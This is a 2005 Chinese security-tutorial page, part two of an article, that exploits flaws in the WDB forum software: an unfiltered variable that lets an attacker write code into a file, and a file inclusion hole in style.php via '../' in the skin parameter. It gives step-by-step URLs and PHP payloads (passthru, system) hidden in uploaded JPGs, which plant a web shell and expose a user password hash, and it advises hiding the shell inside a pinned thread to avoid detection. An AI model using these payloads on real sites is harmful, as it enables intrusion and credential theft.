繁体中文
设为首页
加入收藏
当前位置:在线教程首页 >> 电脑应用 >> 安全防御 >> WDB论坛存在多个严重漏洞

WDB论坛存在多个严重漏洞 (2)

2005-06-06 18:21:00  作者:Jambalaya  来源:www.itaq.org  浏览次数:161  文字大小:【】【】【

 

看完之后,一身冷汗,过滤得很严嘛,几个重要的字符基本上都被他消灭了。看来想从这里找到过滤不言的地方是不大可能了。回去看其他几个变量,剩下的就一个$member了,上下文扫一眼。嗯,这个我们可以控制。我们就用这个值向文件里写入我们自己的代码。
喂!等一下!等一下!其实看到这里就可以开始写攻击方法了,但是我们打住一下。仔细看一下我们的代码,和我的分析过程,其实这
里有我们忽略的一点,你注意到了么?没有?重新来看一遍。
假设这里$member变量也被过滤了,我们还有什么方法?仔细看看,其实那个$title变量并没有真正的被过滤,这里编程人员犯了一个严重的逻辑错误。他在一开始就对$title进行过滤是没错的,但是他却在过滤之后重新给$title赋值,这就不对了,来看看这句:"if($filename) $title=$title."&filename=".$filename"。他在对title严格的过滤后,又给title这个变量重新赋入新值,而这个这个新值并没有经过任何过滤。那么我们用这个新值完全可以写入自己的代码。就好像给一个防御者一把坚实的盾牌之后,在盾牌中间挖了一个大洞,然后对弓箭手说:"好了,你们可以放箭了"。
从这里可以看出任何一个细节的不注意,都会让自己的防御土崩瓦解。

2、攻击方法
该分析都分析完了,"君子动手不动口",来,来,上手了~~~~
我们既然可以向里面写入代码,那我们写些什么呢?0.001秒的思考之后,我决定写入一个shell进去。我们要一次性写入所有东西。先注册一个用户:
username:Jambalaya
password: itaq.org
然后发个帖子,标题是"我test一下哈",内容是"我是Jambalaya,我来自www.itaq.org,大家有工夫过来玩啊"。哈哈,提交下面的URL:
http://bbs.target.com/topsys.php?announcea...#036;jam);?>
然后直接访问http://bbs.target.com/topsys.php?jam=dir,看看,怎么样?一个shell做成了~~~~
dir一下看看里面的目录,看到user_jkljkl是保存用户的目录,提交URL:
" target="_blank">http://bbs.target.com/user_jkljkl/用户名,?....没兔苈肓?P
不过这样太容易被发现了,你可以先把对方的总制顶帖子卸下来,然后再制顶上去,顺便写一个shell到里面
那个title变量没过滤全的应该怎么做?大家自己试试看,毕竟,看懂和理解是两码事,理解和会应用又是两码事,在IT安全论坛我们有一句口头禅,是好友SystEm32带来的,我很喜欢,这里送给大家:"如果你没有实践过,那么对不起,你没有资格发言!"


二、Style.php文件未作任何过滤

下面我们来看看style.php文件,该文件其中变量并没有经过任何过滤,导致恶意攻击者可以执行自己的恶意代码,进而可以控制整个网站。
测试环境:iis5.0+windows2000

1、具体漏洞

描述:
我们先来看一下style.php的相关代码:
=========codz begin===========
<?
if (empty($skin)) $skin=水晶经典;
if (file_exists("datafile/style/".$skin)) include("datafile/style/".$skin);
else include("datafile/style/水晶经典");
=========codz ends=============
代码本身的原意是对论坛的外观风格进行设置,如果skin这个变量不为空,那么设置skin。如果datafile/style/下的skin这个文件存在,则include这个文件。我们注意到代码中skin这个变量并没有作任何检查,也就是说我们可以做任何操作,或者用"../","./"来跳转到任何目录或者include我们指定的任何文件。

那么我们现在怎么做呢?我们知道include可以用来解释执行php文件代码,即使它是以图片形式保存的,那么后面的就简单多了,首先要上传一个图片,WDB版本不同上传的方法也不同,有的汉化版本可以上传头像,有的只能上传附件,我用的这个水晶论坛只可以上传附件,而且还要发一定量的贴子才可以。在疯狂发贴后,发现终于可以上传附件了。上传一个附件,看到论坛将其保存为upload/forum1_f_23_978374564.jpg,现在可能有的朋友想在jpg中写入一个PHP木马,然后用include来解释执行.呵呵,这是行不通地.include的确可以解释jpg中的代码,但是如果你他不能去在问号后面接受GET传送来的变量.

我们可以直接作一个探针来寻找保存user的目录,直接在jpg文件中写入<?passthru("dir");?>,在url中直接请求http://bbs.target.com/myhome/wdb/datafile/style.php?skin=../../../upload/forum1_f_23_978374564.jpg,然后靠返回来的值,得到绝对路径,如我得到的绝对路径是F:myhomewdbdatafile,顺便还得到了里面的所有的文件,再上传一个图片,里面写到<?passthru("dir f:\myhome\wdb")?>,再次在URL中请求http://bbs.target.com/myhome/wdb/datafile/style.php?skin=../../../upload/forum1_f_23_978374564.jpg,返回来的就是f:myhomewdb中的目录和文件,从中找到user目录,我找到的是user_jkljkl,在URL中提交请求http://bbs.target.com/myhome/wdb/user_jkljkl/Jambalaya,我们直接就能看见Jambalaya的密码了,得到如下:
Jambalaya|EED8CDC400DFD4EC85DFF70A170066B7||jam@itaq.org||1083116258||||||1084002908|2||none|998.4|1084150077|1084150372||||||1068|jam 2004-05-08 15:55|wdbread.php?forumid=1&filename=f_13|||1|||192.168.0.13
Jambalaya的密码就是EED8CDC400DFD4EC85DFF70A170066B7
下面我来弄一个shell,在另一个文件中写到<?system($a);?>,保存成jpg文件上传,路径是upload/forum1_f_24_978374654.jpg,在上传一个文件内容是<?rename "f:\myhome\wdb\upload\forum1_f_24_978374654.jpg","jam.php"?>的图片,保存成upload/forum1_f_25_978374773.jpg,在URL中直接调用http://192.168.0.13/myhome/wdb/datafile/style.php?skin=../../../upload/forum1_f_25_978374773.jpg,这样的目的就是让它执行我们的指令直接更改后缀名为php,这样成功调用我们的语句得到了一个shell.

三、收尾:
到这里文章就写完了,准备做收尾工作,还是那句老话:不希望大家去攻击别人。
这里必须要强调的是论坛漏洞的存在,危害的不仅仅是论坛本身,而是整个系统安全!
笔者较早前就发现了这几个漏洞,刚开始只是在itaq.org的内部版和大家交流,并没有打算公布。前不久,遇到了一个叫lovehacker的前辈,他告诉我只有不断的交流才能不断的提高,那些敝帚自珍,研究东西后不舍得与别人共享的人是无法提高的。他把自己发现服务器漏洞的经验无私的拿出来共享。他的共享精神让我无地自容,这里感谢lovehacker的教诲。
行文仓促,技术有限,如果文中有什么错误,还希望高手来www.itaq.org当面指正,不胜感激。

此文章不能满足您的需求?那就就Google一下吧:)
Google
 
[1] [2]

责任编辑:admin


相关文章
Linux有效服务综合列表
Linux操作系统的高级电源管理
Linux操作系统下设置基本网络参数四法
关掉linux文本模式下的滴滴声
高性能Linux集群管理监控之道
Linux初始化系统V的Init过程
Linux系统可卸载内核模块完全指南
使用TSIG和DNSSEC加固域名服务器
Linux日志文件系统及性能分析
Linux服务器上的备份和恢复
SSH公钥(public key)验证
 

最新文章

更多

· 教你识辨几个容易被误认...
· sxs.exe病毒手动删除方法
· 小心防范网话病毒!病毒搜...
· SA空口令破解和保护
· 怎样使MySQL更安全?
· Mysql数据库的安全配置、...
· 如何安全的配置和应用My...
· Oracle数据库安全策略分析
· SQL Server 2000的安全配置
· 使一个新的MySQL安装更安全

推荐文章

更多

· 教你识辨几个容易被误认...
· sxs.exe病毒手动删除方法
· 小心防范网话病毒!病毒搜...
· SA空口令破解和保护
· 怎样使MySQL更安全?
· Mysql数据库的安全配置、...
· 如何安全的配置和应用My...
· Oracle数据库安全策略分析
· SQL Server 2000的安全配置
· 使一个新的MySQL安装更安全

热点文章

更多